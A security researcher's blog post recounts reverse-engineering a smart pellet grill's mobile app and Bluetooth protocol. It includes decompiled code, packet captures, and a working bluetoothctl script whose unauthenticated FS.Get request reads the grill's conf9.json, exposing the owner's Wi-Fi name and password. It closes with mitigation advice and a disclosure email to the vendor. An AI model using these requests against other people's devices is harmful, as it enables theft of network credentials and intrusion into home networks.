



How I Hacked my Smart Grill ?

written by Mert SARICA | 2 October 2023

The Russian Military Intelligence Department (GRU), targeting Mert SARICA, a high-ranking bureaucrat, assigned the notorious APT 28 hacker group, also known as Unit 26165, which has been operating since 2004, to infiltrate his home's wireless network and retrieve Top Secret classified documents.

On April 10th, APT 28 group members entered the country with diplomatic passports. After placing their equipment, including a computer and various hardware for wireless network hacking, in the trunk of a rented Citroen C3, they set off towards the address of the house.





Additional specialist equipment

As they approached the house, they resorted to the Wardriving method to identify the SSID (Service Set Identifier) of the target wireless network. After passing by the house twice, they determined that the network with the highest signal strength belonged to Hack4Career.

To avoid arousing suspicion, the APT 28 group parked their cars at the beginning of the closest street to the house. They then turned their attention to trying to crack the 15-character alphanumeric password, which included special characters, protecting the wireless network using the WPA3

protocol.

After extensive efforts, the group concluded that they couldn't break the password and decided to embark on reconnaissance around the house.

In today's world, the Internet of Things (IoT) is prevalent in various areas, from kitchen appliances and cars to thermostats and smart home systems. Due to the vulnerabilities of these devices, the group searched for smart devices that could be easily exploited.

According to statistics, as of the year 2023, there are 8 billion people living on our planet, while the number of IoT devices has reached twice the human population, reaching 16 billion.

After a brief reconnaissance mission, the APT 28 group's attention was drawn to the Wi-Fi and Bluetooth-enabled smart pellet grill on the terrace, which was plugged into an outlet. They remotely took a photo of the brand and model and decided to purchase one for vulnerability research.

After 8 hours of investigation, they managed to obtain the name and password of the associated wireless network remotely by sending a packet/command via Bluetooth to the grill, requiring only that it be plugged in.

With this information in hand, they wasted no time and quickly got into their cars, heading towards Mert SARICA's house. After parking their vehicles in the same spot at the beginning of the street, they used a Parani-UD100 device connected to their computer's USB port to send a packet/command to the smart grill via Bluetooth from a distance of 984 feet.

Upon receiving a response from the smart grill, they successfully obtained the Hack4Career wireless network name and its 15-character password. They then successfully connected to the wireless network, completing the first step of their operation.

The fictional story I described above may seem utopian to many for two reasons.

1. First, you might think that Russian hackers entering a country with ease and then attempting to infiltrate a wireless network is something you'd only encounter in movie scripts. For those who think this way, I recommend taking a look at this news article from 2018. I'm sure that some of the photos in the article will look familiar to you. :)

2. Second, you may believe that hacking a smart grill and infiltrating a home network wouldn't be as easy in practice and would only happen in an episode of Mr. Robot. For those who think this way, I leave you with the following story where the main character and everything described are real. :)

With the approaching barbecue season, in April 2023, I started looking for a grill to use on my terrace. While considering whether to get a practical gas grill or deal with charcoal every time, I decided to purchase a smart, WiFi pellet grill even though I've been saying "Smart device means spy device" for years.



After the grill reached my hands, I downloaded and installed the mobile app mentioned in the grill's user manual. After running the app, I followed the instructions and first added the grill via Bluetooth, then included it in my home WiFi network by entering the password.

PRODUCT SETUP

STEP 1:

Open your settings and ensure Bluetooth is enabled on this device

STEP 2:

Select your product when it appears below



580



790



1000

If you don't see your product, move closer to the product and make sure the product is turned on.

CONTINUE

CONNECTING



WIFI SET UP

SKIP

Select your WiFi network and enter your network password. Your grill will automatically switch between Bluetooth and WiFi for the best connection.

SELECT YOUR WI-FI NETWORKS

WIFI SET UP

Enter the password for: **XXXXXXXXXX**


Password



CONTINUE

After I cooked our first meal on the grill and enjoyed it, I decided to conduct a security research just like other IoT devices that I purchased before.

As a first step, I downloaded the mobile application from ApkPure and started examining the source code with the jadx tool. Since no obfuscation method was used during the compilation phase, I was able to easily examine the source code.



```
/* loaded from: classes3.dex */
30 public final class BleCommandMaker {
    public static final String BT_ICON = "225 225 000 011 000 080 007";
    public static final Companion Companion = new Companion(null);
    public static final String PAUSE = "225 225 000 009 000 048 051 000";
    public static final String POWER_OFF = "225 225 000 009 000 048 002 000";
    public static final String POWER_OFFN = "02";
    public static final int QUERY_AF_MODE = 3;
    public static final int QUERY_AF_ONOFF = 2;
    public static final int QUERY_AF_TEMP = 5;
    public static final int QUERY_AF_TIME = 6;
    public static final String SET_MODE = "225 225 000 009 000 048 007";
    public static final String SET_TEMP_MODE_TO_CELIUS = "225 225 000 009 000 048 003 001";
    public static final String SET_TEMP_MODE_TO_CELIUS1 = "22";
    public static final String SET_TEMP_MODE_TO_FAHRENHEIT = "225 225 000 009 000 048 003 000";
    public static final String SET_TEMP_MODE_TO_FAHRENHEIT1 = "21";
    public static final String START = "225 225 000 009 000 048 051 001";
    public static final String TURN_IT_OFF = "254 036 000 255";
    public static final String TURN_IT_ON = "254 036 001 255";
    public static final String WARMOFF = "225 225 000 009 000 048 020 000";
    public static final String WARMON = "225 225 000 009 000 048 020 001";
    private final JSONObject command;
    private final JSONObject params = new JSONObject();
    private final String TAG = "BleCommandMaker";

    public final String ConvertFC( boolean z ) {
        return z ? SET_TEMP_MODE_TO_FAHRENHEIT : SET_TEMP_MODE_TO_CELIUS;
    }

    public final String eraseAppJsWithComment() {
        return "{\"id\":\"1099\",\"method\":\"FS.Put\",\"params\":{\"filename\":\"app.js\",\"append\":false,\"data\":\"\"}}";
    }

    public final String getGrillStatus() {
        return "{\"id\":\"1932\",\"method\":\"SendGenericCommand\",\"params\":{\"command\":\"254 011 001 255\"}}";
    }

    public final String getIPAddress() {
        return "{\"id\":\"888\",\"method\":\"GetCurrentIP\",\"params\":{}}";
    }

    public final String getState() {
```

```

435 public final String getFileContent(String fileName, int i) {
436     Intrinsics.checkNotNullParameter(fileName, "fileName");
437     return "{ \"id\":999,\"method\": \"FS.Get\", \"params\": { \"filename\": \"\" + fileName + \"\", \"offset\": 0, \"len\": \"\" + i + \"\" } }";
438 }
439 public final String setUpWifiWithSecurity(String ssid, String wifiPassword) {
440     Intrinsics.checkNotNullParameter(ssid, "ssid");
441     Intrinsics.checkNotNullParameter(wifiPassword, "wifiPassword");
442     return "{ \"id\": 1205, \"method\": \"Config.Set\", \"params\": { \"config\": { \"http\": { \"hidden_files\": \"*.\"*\"
443 }
444 }
445 }
446 public final String sendSSID(String ssid) {
447     Intrinsics.checkNotNullParameter(ssid, "ssid");
448     return "{ \"id\":1205,\"method\": \"Config.Set\", \"params\": { \"config\": { \"wifi\": { \"sta\": { \"ssid\": \"\" + ssid + \"\" } } } } }";
449 }
450 public final String sendPass(String pass) {
451     Intrinsics.checkNotNullParameter(pass, "pass");
452     return "{ \"id\":1204,\"method\": \"Config.Set\", \"params\": { \"config\": { \"wifi\": { \"sta\": { \"pass\": \"\" + pass + \"\" } } } } }";
453 }
454 public final String setAWSFrequency(int i) {
455     try {
456         this.command.put("id", BleCommandMakerKt.ID_SET_AWS_FREQUENCY);
457         this.command.put(FirebaseAnalytics.Param.METHOD, "SendGenericCommand");
458         this.params.put("command", "254 011 001 255");
459         this.params.put("frequency", i);
460         this.command.put(NativeProtocol.WEB_DIALOG_PARAMS, this.params);
461         String jsonObject = this.command.toString();
462         Intrinsics.checkNotNullExpressionValue(jsonObject, "command.toString()");
463         return jsonObject;
464     } catch (JSONException unused) {
465         return "";
466     }
467 }
468 public final String setProbeTemperature(int i, int i2) {
469     try {
470         this.command.put(FirebaseAnalytics.Param.METHOD, "SetTemperature");
471         this.params.put(TypedValues.Attributes.S_TARGET, Intrinsics.stringPlus("probe", Integer.valueOf(i)));
472         this.params.put("amount", i2);
473         this.command.put(NativeProtocol.WEB_DIALOG_PARAMS, this.params);
474     }
475 }

```

After navigating through the codes for a while, I noticed the init.js file that was passed as a parameter to the getFileContent() function. When I examined the getFileContent() function, I saw that it read the init.js file located in the operating system of the grill using the Fs.Get method.

```

if (Intrinsics.areEqual(descriptor.getCharacteristic().getUuid(), BluetoothLeService.UUID_CHARACTERISTIC_RPC)) {
    Crashlytics crashlytics2 = Crashlytics.INSTANCE;
    str3 = BluetoothLeService.TAG;
    crashlytics2.d(str3, "onDescriptorWrite: RPC response enabled.");
    if (PreferenceHelper.read(PreferenceHelper.CONNECTDEVICEN, false).booleanValue() ||   == null) {
        return;
    }
    .addIntoQueue(new BleCommandMaker().getFileContent("init.js", 20), BaseBleServiceActivity.QUERY_COMMAND);
    return;
}
Crashlytics crashlytics3 = Crashlytics.INSTANCE;
str2 = BluetoothLeService.TAG;
crashlytics3.d(str2, "STATUS notification registered.");
  = BluetoothLeService.this.blindActivity;
if (  == null) {
    return;
}
 .onBleConnected();
}
};
private final IBinder mBinder = new LocalBinder(this);

public final int getConnectionState() {
    return this.connectionState;
}

public boolean getBluetoothConnectDeviceisNXG1() {
    return this.bluetoothConnectDeviceisNXG1;
}

```

Is there a way to replace **init.js** with something valuable from the attacker's perspective?

```

public final String getFileContent(String fileName, int i) {
    Intrinsic.checkNotNullParameter(fileName, "fileName");
    return "{ \"id\":999, \"method\": \"FS.Get\", \"params\": { \"filename\": \"\" + fileName + \"\", \"offset\": 0, \"len\": \"\" + i + \"\" } } ";
}


public final String setUpWiFiWithSecurity(String ssid, String wifiPassword) {
    Intrinsic.checkNotNullParameter(ssid, "ssid");
    Intrinsic.checkNotNullParameter(wifiPassword, "wifiPassword");
    return "{ \"id\": 1205, \"method\": \"Config.Set\", \"params\": { \"config\": { \"http\": { \"hidden_files\": \"*.\"*\"
}

public final String sendSSID(String ssid) {
    Intrinsic.checkNotNullParameter(ssid, "ssid");
    return "{ \"id\":1205, \"method\": \"Config.Set\", \"params\": { \"config\":
}

public final String sendPass(String pass) {
    Intrinsic.checkNotNullParameter(pass, "pass");
    return "{ \"id\":1204, \"method\": \"Config.Set\", \"params\": { \"config\":
}

public final String setAWSFrequency(int i) {

```



Might **FS.Get** method be a clue of the target operating system ?

Of course, when I saw this, lightning bolts struck in my mind and I had only one question in my mind: “If I send a file name other than init.js to the grill via Bluetooth, would I be able to see the content of that file in the response?

To find the answer to this question, just like in my blog post titled “Run Mert Run” I followed the steps in a response to a message from someone who was experiencing Bluetooth packet-related issues on Samsung’s support page to examine the Bluetooth communication between the mobile application and the grill.

When I started analyzing the btsnoop_hci.log file with Wireshark, I saw that at one point in the communication, the mobile application wrote the value 00000055 (WRITE REQUEST) to the handle 0x33 of the 5f6d4f53-5f52-5043-5f74-785f63746c5f (CHARACTERISTIC_BR0IL_KING_WRITE_DATA_LENGTH) Bluetooth service.

In the next step, I saw that the command {“id”:999,”method”:”FS.Get”,”params”:{“filename”:”init.js”,”offset”: 0 , “len”:20}} was sent in pieces (WRITE REQUEST) to the handle 0x2e of the 5f6d4f53-5f52-5043-5f64-6174615f5f5f (CHARACTERISTIC_BR0IL_KING_WRITE_COMMAND) service’s characteristic.

Packet bytes Narrow (UTF-8 / ASCII) Case sensitive String init.js Find Cancel

No.	Time	Source	Destination	Protocol	Length	Info
631	2023-03-29 20:57:31.846382			ATT	16	Sent Handle Value Indication, Handle: 0x0003 (Un
638	2023-03-29 20:57:31.887194			ATT	12	Sent Exchange MTU Request, Client Rx MTU: 500
664	2023-03-29 20:57:32.339135			ATT	10	Rcvd Handle Value Confirmation, Handle: 0x0003 (
665	2023-03-29 20:57:32.339751			ATT	12	Rcvd Exchange MTU Response, Server Rx MTU: 500
667	2023-03-29 20:57:32.340757			ATT	16	Sent Read By Type Request, Server Supported Feat
680	2023-03-29 20:57:32.428583			ATT	14	Rcvd Error Response - Attribute Not Found, Handl
681	2023-03-29 20:57:32.429422			ATT	14	Sent Write Request, Handle: 0x0031 (Unknown)
686	2023-03-29 20:57:32.518386			ATT	10	Rcvd Write Response, Handle: 0x0031 (Unknown)
687	2023-03-29 20:57:32.522430			ATT	16	Sent Write Request, Handle: 0x0033 (Unknown)
693	2023-03-29 20:57:32.608808			ATT	10	Rcvd Write Response, Handle: 0x0033 (Unknown)
695	2023-03-29 20:57:32.614125			ATT	32	Sent Write Request, Handle: 0x002e (Unknown)
714	2023-03-29 20:57:32.878727			ATT	10	Rcvd Write Response, Handle: 0x002e (Unknown)
715	2023-03-29 20:57:32.884968			ATT	32	Sent Write Request, Handle: 0x002e (Unknown)
730	2023-03-29 20:57:33.058503			ATT	10	Rcvd Write Response, Handle: 0x002e (Unknown)
737	2023-03-29 20:57:33.064478			ATT	32	Sent Write Request, Handle: 0x002e (Unknown)
755	2023-03-29 20:57:33.418322			ATT	10	Rcvd Write Response, Handle: 0x002e (Unknown)
756	2023-03-29 20:57:33.421552			ATT	32	Sent Write Request, Handle: 0x002e (Unknown)

> Frame 687: 16 bytes on wire (128 bits), 16 bytes captured (128 bits)

- > Bluetooth
- > Bluetooth HCI H4
- > Bluetooth HCI ACL Packet
- > Bluetooth L2CAP Protocol
- > Bluetooth Attribute Protocol
 - > Opcode: Write Request (0x12)
 - Handle: 0x0033 (Unknown)
 - Value: 00000055

0000 02 43 00 0b 00 07 00 04 00 12 33 00 00 00 55 C..... 3....U

Sent the length of the command. (85 characters)

Value (btatt.value), 4 bytes Packets: 1029 - Displayed: 159 (15.5%) Profile: Default

bluetooth.addr == && bt12cap.cid == 0x0004

No.	Time	Source	Destination	Protocol	Length	Info
667	2023-03-29 20:57:32.340757				16	Sent Read By Type Request, Server Supported Feat
680	2023-03-29 20:57:32.428583				14	Rcvd Error Response - Attribute Not Found, Handl
681	2023-03-29 20:57:32.429422				14	Sent Write Request, Handle: 0x0031 (Unknown)
686	2023-03-29 20:57:32.518386				10	Rcvd Write Response, Handle: 0x0031 (Unknown)
687	2023-03-29 20:57:32.522430				16	Sent Write Request, Handle: 0x0033 (Unknown)
693	2023-03-29 20:57:32.608808				10	Rcvd Write Response, Handle: 0x0033 (Unknown)
695	2023-03-29 20:57:32.614125				32	Sent Write Request, Handle: 0x002e (Unknown)
714	2023-03-29 20:57:32.878727				10	Rcvd Write Response, Handle: 0x002e (Unknown)
715	2023-03-29 20:57:32.884968				32	Sent Write Request, Handle: 0x002e (Unknown)
730	2023-03-29 20:57:33.058503				10	Rcvd Write Response, Handle: 0x002e (Unknown)
737	2023-03-29 20:57:33.064478				32	Sent Write Request, Handle: 0x002e (Unknown)
755	2023-03-29 20:57:33.418322				10	Rcvd Write Response, Handle: 0x002e (Unknown)
756	2023-03-29 20:57:33.421552				32	Sent Write Request, Handle: 0x002e (Unknown)
775	2023-03-29 20:57:33.688494				10	Rcvd Write Response, Handle: 0x002e (Unknown)
776	2023-03-29 20:57:33.691795				17	Sent Write Request, Handle: 0x002e (Unknown)
793	2023-03-29 20:57:33.868371				16	Rcvd Handle Value Notification, Handle: 0x0030 (
794	2023-03-29 20:57:33.868977				10	Rcvd Write Response, Handle: 0x002e (Unknown)
795	2023-03-29 20:57:34.176298				12	Sent Read Request, Handle: 0x002e (Unknown)
797	2023-03-29 20:57:34.319599				105	Rcvd Read Response, Handle: 0x002e (Unknown)
798	2023-03-29 20:57:34.326329				14	Sent Write Request, Handle: 0x002b (Unknown)
800	2023-03-29 20:57:34.500012				10	Rcvd Write Response, Handle: 0x002b (Unknown)

> Frame 695: 32 bytes on wire (256 bits), 32 bytes captured (256 bits)

- > Bluetooth
- > Bluetooth HCI H4
- > Bluetooth HCI ACL Packet
- > Bluetooth L2CAP Protocol
- > Bluetooth Attribute Protocol
 - > Opcode: Write Request (0x12)
 - Handle: 0x002e (Unknown)
 - Value: 207b226964223a39393932c22d6574686f64223a

0000 02 43 00 1b 00 17 00 04 00 12 2e 00 20 7b 22 69 C..... 3....U
0010 64 22 3a 39 39 39 2c 22 6d 65 74 68 6f 64 22 3a d":999," method":

Sent the 1st part of the command in 20 bytes.

Value (btatt.value), 20 bytes Packets: 1029 - Displayed: 159 (15.5%) Profile: Default

btnoop_hci.log

bluetooth.addr == && btl2cap.cid == 0x0004

No.	Time	Source	Destination	Protocol	Length	Info
665	2023-03-29 20:57:32.339751			ATT	12	Rcvd Exchange MTU Response, Server Rx MTU: 500
667	2023-03-29 20:57:32.340757			ATT	16	Sent Read By Type Request, Server Supported Feat
680	2023-03-29 20:57:32.428583			ATT	14	Rcvd Error Response - Attribute Not Found, Handl
681	2023-03-29 20:57:32.429422			ATT	14	Sent Write Request, Handle: 0x0031 (Unknown)
686	2023-03-29 20:57:32.518386			ATT	10	Rcvd Write Response, Handle: 0x0031 (Unknown)
687	2023-03-29 20:57:32.522430			ATT	16	Sent Write Request, Handle: 0x0033 (Unknown)
693	2023-03-29 20:57:32.608808			ATT	10	Rcvd Write Response, Handle: 0x0033 (Unknown)
695	2023-03-29 20:57:32.614125			ATT	32	Sent Write Request, Handle: 0x002e (Unknown)
714	2023-03-29 20:57:32.878727			ATT	10	Rcvd Write Response, Handle: 0x002e (Unknown)
715	2023-03-29 20:57:32.884968			ATT	32	Sent Write Request, Handle: 0x002e (Unknown)
730	2023-03-29 20:57:33.058503			ATT	10	Rcvd Write Response, Handle: 0x002e (Unknown)
737	2023-03-29 20:57:33.064478			ATT	32	Sent Write Request, Handle: 0x002e (Unknown)
755	2023-03-29 20:57:33.418322			ATT	10	Rcvd Write Response, Handle: 0x002e (Unknown)
756	2023-03-29 20:57:33.421552			ATT	32	Sent Write Request, Handle: 0x002e (Unknown)
775	2023-03-29 20:57:33.688494			ATT	10	Rcvd Write Response, Handle: 0x002e (Unknown)
776	2023-03-29 20:57:33.691795			ATT	17	Sent Write Request, Handle: 0x002e (Unknown)
793	2023-03-29 20:57:33.868371			ATT	16	Rcvd Handle Value Notification, Handle: 0x0030 (
794	2023-03-29 20:57:33.868977			ATT	10	Rcvd Write Response, Handle: 0x002e (Unknown)
795	2023-03-29 20:57:34.176298			ATT	12	Sent Read Request, Handle: 0x002e (Unknown)
797	2023-03-29 20:57:34.319599			ATT	105	Rcvd Read Response, Handle: 0x002e (Unknown)
798	2023-03-29 20:57:34.326329			ATT	14	Sent Write Request, Handle: 0x002b (Unknown)

Frame 715: 32 bytes on wire (256 bits), 32 bytes captured (256 bits)

Bluetooth

Bluetooth HCI H4

Bluetooth HCI ACL Packet

Bluetooth L2CAP Protocol

Bluetooth Attribute Protocol

Opcode: Write Request (0x12)

Handle: 0x002e (Unknown)

Value: 2246532e476574222c22706172616d73223a7b22

Value (btatt.value), 20 bytes

Packets: 1029 - Displayed: 159 (15.5%)

Profile: Default

Sent the 2nd part of the command in 20 bytes.

btnoop_hci.log

bluetooth.addr == && btl2cap.cid == 0x0004

No.	Time	Source	Destination	Protocol	Length	Info
667	2023-03-29 20:57:32.340757			ATT	16	Sent Read By Type Request, Server Supported Feat
680	2023-03-29 20:57:32.428583			ATT	14	Rcvd Error Response - Attribute Not Found, Handl
681	2023-03-29 20:57:32.429422			ATT	14	Sent Write Request, Handle: 0x0031 (Unknown)
686	2023-03-29 20:57:32.518386			ATT	10	Rcvd Write Response, Handle: 0x0031 (Unknown)
687	2023-03-29 20:57:32.522430			ATT	16	Sent Write Request, Handle: 0x0033 (Unknown)
693	2023-03-29 20:57:32.608808			ATT	10	Rcvd Write Response, Handle: 0x0033 (Unknown)
695	2023-03-29 20:57:32.614125			ATT	32	Sent Write Request, Handle: 0x002e (Unknown)
714	2023-03-29 20:57:32.878727			ATT	10	Rcvd Write Response, Handle: 0x002e (Unknown)
715	2023-03-29 20:57:32.884968			ATT	32	Sent Write Request, Handle: 0x002e (Unknown)
730	2023-03-29 20:57:33.058503			ATT	10	Rcvd Write Response, Handle: 0x002e (Unknown)
737	2023-03-29 20:57:33.064478			ATT	32	Sent Write Request, Handle: 0x002e (Unknown)
755	2023-03-29 20:57:33.418322			ATT	10	Rcvd Write Response, Handle: 0x002e (Unknown)
756	2023-03-29 20:57:33.421552			ATT	32	Sent Write Request, Handle: 0x002e (Unknown)
775	2023-03-29 20:57:33.688494			ATT	10	Rcvd Write Response, Handle: 0x002e (Unknown)
776	2023-03-29 20:57:33.691795			ATT	17	Sent Write Request, Handle: 0x002e (Unknown)
793	2023-03-29 20:57:33.868371			ATT	16	Rcvd Handle Value Notification, Handle: 0x0030 (
794	2023-03-29 20:57:33.868977			ATT	10	Rcvd Write Response, Handle: 0x002e (Unknown)
795	2023-03-29 20:57:34.176298			ATT	12	Sent Read Request, Handle: 0x002e (Unknown)
797	2023-03-29 20:57:34.319599			ATT	105	Rcvd Read Response, Handle: 0x002e (Unknown)
798	2023-03-29 20:57:34.326329			ATT	14	Sent Write Request, Handle: 0x002b (Unknown)
799	2023-03-29 20:57:34.326329			ATT	14	Rcvd Write Response, Handle: 0x002b (Unknown)

Frame 737: 32 bytes on wire (256 bits), 32 bytes captured (256 bits)

Bluetooth

Bluetooth HCI H4

Bluetooth HCI ACL Packet

Bluetooth L2CAP Protocol

Bluetooth Attribute Protocol

Opcode: Write Request (0x12)

Handle: 0x002e (Unknown)

Value: 66696c656e616d65223a22696e69742e6a73222c

Value (btatt.value), 20 bytes

Packets: 1029 - Displayed: 159 (15.5%)

Profile: Default

Sent the 3rd part of the command in 20 bytes.

The top screenshot shows packet 756, a 'Sent Write Request' of 32 bytes. The packet details pane shows the Bluetooth Attribute Protocol section with the following details:

- Opcode: Write Request (0x12)
- Handle: 0x002e (Unknown)
- Value: 20226f6666736574223a20302c202226c656e223a

The bottom screenshot shows packet 776, a 'Sent Write Request' of 17 bytes. The packet details pane shows the Bluetooth Attribute Protocol section with the following details:

- Opcode: Write Request (0x12)
- Handle: 0x002e (Unknown)
- Value: 32307d7d20

When I decoded the Base64-encoded data in the response (READ RESPONSE) received from the grill, which contained `{"id":999, "src":"XXX-XXXXXXX", "result":{"data": "Ly9CS1B2MDQyLjQ1ICAgICAgICA=", "left": 35298}}`, I found the string `//BKPv042.45`

The image shows a Wireshark capture of a Bluetooth HCI log. The top pane displays a list of packets, with packet 797 selected. The middle pane shows the packet details for Frame 797, which is a Read Response (0x0b) with a handle of 0x002e (Unknown) and a value of 7b2. The bottom pane shows the raw data of the packet, which is Base64 encoded. A red arrow points to the Base64 encoded data in the raw data pane.

The CyberChef interface is shown below the Wireshark capture. It has a 'Recipe' section with 'From Base64' selected. The 'Input' field contains the Base64 encoded data from the Wireshark capture. The 'Output' field shows the decoded data: `//BKPv042.45`.

When I searched for some keywords that caught my attention in the source code of the mobile application on Google search engine, I learned that the grill has an operating system called Mongoose OS.



"sys.reboot" "init.js" config.set "config.save" fs.rename



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About 2 results (0.39 seconds)



It looks like there aren't many great matches for your search

Try using words that might appear on the page you're looking for. For example, "cake recipes" instead of "how to make a cake."

Need help? Check out [other tips](#) for searching on Google.



Gitter

<https://gitter.im> > cesanta > mongoose-os

[cesanta/mongoose-os](#)

Rename", "FS.Remove", "FS.Put", "FS.Get", "FS.ListExt", "FS.List", "Config.Save", "Config.Set", "Config.Get", "Sys.SetDebug", "Sys.GetInfo", "Sys.Reboot",

Run-time init

- **conf0.json** - configuration defaults. This is a copy of the generated **sys_config_defaults.json**. It is loaded first and must exist on the file system. All other layers are optional.
- **conf1.json** - **conf8.json** - these layers are loaded one after another, each successive layer can override the previous one (provided **conf_acl** of the previous layer allows it). These layers can be used for vendor configuration overrides.
- **conf9.json** is the user configuration file. Applied last, on top of all other layers. **mos config-set** and **save_cfg()** API function modify **conf9.json**.




After realizing that I had never seen or heard of this operating system before, I decided to take a look at the user guide on their website. When I visited the Device config page, the **conf9.json** file among the json files starting with **conf** caught my attention.

Since I thought this file containing user settings might have some noteworthy information, I created the following 88 characters long request/command to read the **conf9.json** file over Bluetooth connection using **bluetoothctl** tool instead of **init.js**, but I encountered an Invalid Offset error when I sent it to the grill through a Bash script.

```
{"id":999,"method":"FS.Get","params":{"filename":"conf9.json","offset": 0 ,  
"len":20}}
```

```
(root@Kali)-[~/Desktop]
# echo -n '{"id":999,"method":"FS.Get","params":{"filename":"conf9.json","offset":0,"len":20}}' | hexdump -ve '/1 "0x%02x "'
0x20 0x7b 0x22 0x69 0x64 0x22 0x3a 0x39 0x39 0x39 0x2c 0x22 0x6d 0x65 0x74 0x
68 0x6f 0x64 0x22 0x3a 0x22 0x46 0x53 0x2e 0x47 0x65 0x74 0x22 0x2c 0x22 0x70
0x61 0x72 0x61 0x6d 0x73 0x22 0x3a 0x7b 0x22 0x66 0x69 0x6c 0x65 0x6e 0x61 0
x6d 0x65 0x22 0x3a 0x22 0x63 0x6f 0x6e 0x66 0x39 0x2e 0x6a 0x73 0x6f 0x6e 0x2
2 0x2c 0x22 0x6f 0x66 0x66 0x73 0x65 0x74 0x22 0x3a 0x20 0x30 0x20 0x2c 0x20
0x22 0x6c 0x65 0x6e 0x22 0x3a 0x32 0x30 0x7d 0x7d 0x20
```


```
File Edit Search View Document Help
Warning: you are using the root account. You may harm your system.
1 #!/bin/bash
2 bluetoothctl << EOF
3 devices
4 agent on
5 connect
6 gatt.select-attribute 5f6d4f53-5f52-5043-5f74-785f63746c5f
7 gatt.write "0x00 0x00 0x00 0x55"
8 gatt.select-attribute 5f6d4f53-5f52-5043-5f64-6174615f5f5f
9 gatt.write "0x20 0x7b 0x22 0x69 0x64 0x22 0x3a 0x39 0x39 0x39 0x2c 0x22 0x6d
0x65 0x74 0x68 0x6f 0x64 0x22 0x3a 0x22 0x46 0x53 0x2e 0x47 0x65 0x74 0x22
0x2c 0x22 0x70 0x61 0x72 0x61 0x6d 0x73 0x22 0x3a 0x7b 0x22 0x66 0x69 0x6c
0x65 0x6e 0x61 0x6d 0x65 0x22 0x3a 0x22 0x63 0x6f 0x6e 0x66 0x39 0x2e 0x6a
0x73 0x6f 0x6e 0x22 0x2c 0x22 0x6f 0x66 0x66 0x73 0x65 0x74 0x22 0x3a 0x20
0x30 0x20 0x2c 0x20 0x22 0x6c 0x65 0x6e 0x22 0x3a 0x32 0x30 0x7d 0x7d 0x20"
10 gatt.read
11 gatt.read
12 EOF
```



After doing some research, I learned that the “invalid offset” error was triggered due to the size of command/payload. Later, I decided to equalize the size of the 85-character `init.js` request and the above 88-character `conf9.json` request. After removing 3 space characters, the request took the following form and became 85 characters in length.

```
{"id":999,"method":"FS.Get","params":{"filename":"conf9.json","offset":0,"length":20}}
```

After sending this request to the grill, I saw that I was able to successfully read the first 20 characters of the `conf9.json` file.



As a result of my security research, I uncovered this critical vulnerability. By exploiting it, I demonstrated that a malicious person could easily learn the wireless network name and password of this brand and model of grill from a distance of 98 to 984 feet by sending requests. What's surprising is that for this vulnerability to be exploited, the grill only needed to be plugged in and didn't even have to be in the "POWER ON" state.

While I may not know the exact number of households affected by this vulnerability, statistics show that as of the beginning of 2021, there were approximately 100 million households using grills in the United States. Considering that one in three households used more than one grill, it's safe to say that the proliferation of such smart grills (IoT devices) poses significant security risks.

After discovering this significant vulnerability, instead of parting ways with my smart grill, I decided to move it to the Wi-Fi Guest Network along with my other IoT devices, ensuring that it wouldn't spoil my appetite. Now I can continue to enjoy delicious meals without any worries. :)

As a precaution, I recommend not leaving your smart grill plugged in when you're not using it until the manufacturer addresses this vulnerability.



Hope to see you in the following articles.

Note: I sent an email to the grill manufacturer about this vulnerability on April 1st. Unfortunately, I have not received a response yet.



Mert SARICA <mert.sarica@gmail.com>
to support ▾

📧 Sat, Apr 1, 11:29 AM (3 days ago)

☆ ↶ ⋮

Dear Sir or Madam,

My name is Mert, and I am a seasoned cybersecurity professional who conducts cybersecurity research and publishes them on my blog for the benefit and awareness of the public.

According to various research, IoT (internet of things) devices, such as coffee machines, thermostats, smart speakers, smart bulbs, alarm systems, etc., might have vulnerabilities (<https://www.fortinet.com/resources/cyberglossary/iot-device-vulnerabilities>) due to their limited software and hardware capabilities.

Recently I purchased an ■■■ Pellet Grill from Home Depot two weeks ago. (By the way, I love cooking with my grill; it is fantastic!) I noticed that my grill as an IoT has Wi-Fi and Bluetooth features and can be controlled via a mobile app (https://play.google.com/store/apps/details?id=■■■■&hl=en_US&gl=US). After I went through to installation procedure, I enrolled my grill into my Wi-Fi network.